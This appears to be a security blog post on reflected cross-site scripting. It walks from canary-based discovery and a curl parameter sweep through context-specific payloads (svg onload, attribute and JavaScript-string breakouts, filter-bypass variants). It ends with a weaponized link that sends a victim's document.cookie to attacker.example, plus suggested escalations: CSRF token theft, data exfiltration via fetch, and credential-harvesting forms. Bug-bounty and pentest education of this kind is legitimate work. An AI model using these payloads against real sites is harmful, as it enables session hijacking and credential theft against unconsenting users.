cd ../blog

Reflected XSS: Tracing the Echo From Parameter to Payload

Reflected cross-site scripting fires when a request parameter is echoed straight back into the response. We trace the reflection from probe to a working, context-aware payload.

Reflected XSS is the most direct member of the family: a value you put in the request comes straight back in the response, and if it lands somewhere the browser treats as code, your script runs. The whole game is finding the reflection and matching the payload to the exact context it lands in.

Where it hides

Any parameter that the server echoes is a candidate, and they are everywhere once you look:

  • Search boxes that print You searched for: <term>.
  • Error and validation messages that quote the bad input back at you.
  • redirect, returnUrl, lang, q, ref query parameters reflected into hidden fields or links.
  • 404 pages that print the requested path.
  • Headers reflected into the body — Referer, User-Agent, custom headers shown on debug pages.

The fastest discovery method is a unique canary. Send a random marker and grep the response for it, noting where it lands — inside an HTML tag, an attribute, a <script> block, or a URL — because the context decides the payload:

GET /search?q=xss1337canary HTTP/1.1
Host: app.example.com

If xss1337canary appears verbatim in the body, reflection is confirmed. Now probe which characters survive by sending xss1337"><svg/ and inspecting whether <, >, ", and / come back raw or encoded. A parameter sweep with a tool speeds this up across an entire site:

# Reflect-and-probe every parameter, flag the ones that echo special chars raw
cat urls.txt | qsreplace 'xss1337"><x>' | while read u; do
  curl -s "$u" | grep -q '1337"><x>' && echo "RAW REFLECTION: $u"
done

Proof of concept

The payload depends entirely on where the canary landed. Walk the contexts:

HTML body context — a tag break plus an auto-firing handler:

<svg onload=alert(document.domain)>

Attribute context — the reflection sits inside value="...". Close the attribute and the tag first:

"><svg onload=alert(document.domain)>

Inside an existing event/JS string — break out of the quotes and the function call:

';alert(document.domain)//

For a search box reflected in the body, the full request looks like:

GET /search?q=%3Csvg%20onload%3Dalert(document.domain)%3E HTTP/1.1
Host: app.example.com

Load that URL in a browser; an alert showing the page origin is your proof. If a naive filter strips <svg, rotate alternatives: <img src=x onerror=alert(document.domain)>, <details open ontoggle=alert(1)>, or a bare <iframe src=javascript:alert(1)>.

When the reflection is in an attribute that blocks > but allows quotes and event handlers, you do not need a new tag at all — inject an event onto the existing one:

" autofocus onfocus=alert(document.domain) x="

Confirming impact

Swap the alert for something that demonstrates real damage. The classic is delivering a weaponized link to a logged-in victim that steals their session-readable token:

"><svg onload="new Image().src='https://attacker.example/c?'+document.cookie">

The whole exploit is a single URL — encode the payload into the parameter and send it. When the victim opens it while authenticated, the request carrying their cookie lands on your server.

Useful escalations to demonstrate value:

  • Read a CSRF token out of the DOM and fire a state-changing request as the victim.
  • Pull data from a same-origin endpoint via fetch and exfiltrate it.
  • Rewrite the page to a credential-harvesting form on the trusted origin.

The cleanest write-up is the exact URL, the reflection context you identified, and the fired alert (or the exfil request). Keep all testing to assets you are authorized to probe and use accounts you control.